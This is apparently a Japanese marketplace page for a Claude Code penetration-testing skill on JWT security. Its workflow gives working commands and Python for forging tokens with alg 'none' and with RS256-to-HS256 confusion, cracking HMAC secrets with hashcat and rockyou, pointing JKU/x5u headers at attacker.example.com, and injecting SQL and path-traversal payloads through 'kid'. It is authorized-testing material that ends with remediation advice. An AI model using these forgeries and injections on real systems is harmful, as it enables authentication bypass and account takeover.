mcpField
T
testing-jwt-token-security

testing-jwt-token-security

github.com/mukul975セキュリティ35.2k542 回インストール8 週間前に更新
リポジトリ

testing-jwt-token-security について

API、SSO、マイクロサービス認証を扱う、許可を得たペネトレーションテスターやセキュリティ監査担当者向けの JWT テストスキルです。トークンの確認、署名・クレームへの攻撃テスト、有効期限と失効の検証を扱います。

主な機能

  1. 01JWT 構造のデコードと確認
  2. 02none アルゴリズムとアルゴリズム混同のテスト
  3. 03HMAC シークレットの総当たり試行
  4. 04クレーム改ざんとインジェクションのテスト
  5. 05トークンの有効期限と失効の確認

活用シーン

  1. 01JWT を使う API のセキュリティ評価
  2. 02SSO トークン検証設定のテスト
  3. 03マイクロサービス間の JWT 認証監査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-jwt-token-security

インストール後、Claude Code で/testing-jwt-token-securityを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

JWT トークンのセキュリティテスト

使用する場面

  • アプリケーションが認証または認可に JWT を使用している場合の、許可を得たペネトレーションテスト
  • JWT が Bearer トークンまたは Cookie で渡される場合の API セキュリティ評価
  • JWT/JWS/JWE トークンを使用する SSO 実装の評価
  • JWT を発行する OAuth 2.0 または OpenID Connect フローのテスト
  • サービス間認証に JWT を使用するマイクロサービスアーキテクチャのセキュリティ監査

前提条件

  • 許可:対象に対する書面によるペネトレーションテスト契約
  • jwt_tool:JWT 攻撃ツールキット(pip install jwt_tool または git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional:BApp Store の JSON Web Token 拡張機能を使用
  • Python PyJWT:カスタム JWT 攻撃のスクリプト作成用(pip install pyjwt)
  • Hashcat:HMAC シークレットのブルートフォース用(apt install hashcat)
  • jq:JSON 処理用
  • 対象 JWT:アプリケーションから取得した有効な JWT トークン

ワークフロー

ステップ 1:JWT の構造をデコードして分析する

ヘッダー、ペイロード、署名の各要素を抽出して調べます。

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)
ステップ 2:アルゴリズム none 攻撃をテストする

アルゴリズムを「none」に設定して、トークンの偽造を試みます。

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done
ステップ 3:アルゴリズムの混同をテストする(RS256 から HS256)

サーバーが RS256 を使用している場合、HS256 に切り替え、公開鍵で署名することを試みます。

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"
ステップ 4:HMAC シークレットをブルートフォースする

HS256 が使用されている場合、署名シークレットの解読を試みます。

# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt

secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF
ステップ 5:JWT クレームの改ざんとインジェクションをテストする

JWT クレームを変更して、権限を昇格させるか認可を回避します。

# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin

# Test common claim attacks:

# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL

# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)

# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "[email protected]" \
  -pc role -pv "superadmin"
ステップ 6:トークンの有効期間と失効をテストする

トークンの有効期限の適用と失効機能を評価します。

# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time

secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF

curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"

# Test token with far-future expiration
python3 << 'PYEOF'
import jwt

secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF

# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout

# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT

主な概念

概念説明
アルゴリズム none 攻撃alg を none に設定し、署名検証を無効化すること
アルゴリズムの混同RS256 から HS256 に切り替え、公開鍵を HMAC シークレットとして署名すること
HMAC ブルートフォースワードリストまたはブルートフォースを使って、弱い HS256 署名シークレットを解読すること
JKU/x5u インジェクションJWT ヘッダーの URL を攻撃者が制御する鍵サーバーに向けること
KID インジェクションKey ID ヘッダーのパラメーターにおける SQL インジェクションまたはパストラバーサルを悪用すること
クレームの改ざん署名鍵を侵害した後に、ペイロードのクレーム(role、sub、permissions)を変更すること
トークンの失効有効期限前にトークンを無効化する機能(またはその機能がないこと)
JWE と JWSJSON Web Encryption(機密性)と JSON Web Signature(完全性)

ツールとシステム

ツール目的
jwt_tool自動攻撃モジュールを備えた包括的な JWT テストツールキット
Burp JWT EditorJWT をリアルタイムで操作するための Burp Suite 拡張機能
HashcatGPU アクセラレーションを利用した HMAC シークレットのブルートフォース(モード 16500)
John the RipperCPU ベースの JWT シークレット解読
PyJWTJWT のプログラムによる作成と操作のための Python ライブラリ
jwt.io手早い分析に使えるオンライン JWT デコーダー(本番環境のトークンを貼り付けないでください)

よくあるシナリオ

シナリオ 1:アルゴリズム none による回避

JWT ライブラリが "alg":"none" トークンを受け入れるため、署名を削除してアルゴリズムヘッダーを変更するだけで、任意のユーザーが管理者トークンを偽造できます。

シナリオ 2:弱い HMAC シークレット

アプリケーションが署名シークレットとして辞書に載っている単語を使い、HS256 を使用しています。Hashcat を使えば数分でシークレットを解読でき、トークンの完全な偽造や管理者へのなりすましが可能になります。

シナリオ 3:SSO におけるアルゴリズムの混同

SSO プロバイダーは RS256 を使用していますが、コンシューマーアプリケーションも HS256 を受け入れています。攻撃者は、公開されている RSA 公開鍵を使って HS256 で偽造トークンに署名します。

シナリオ 4:KID における SQL インジェクション

kid ヘッダーのパラメーターが、署名鍵を検索する SQL クエリで使用されています。' UNION SELECT 'attacker_secret' -- をインジェクションすると、攻撃者が署名鍵を制御できます。

出力形式

## JWT Security Finding

**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures

### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |

### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |

### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)

### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets

コメント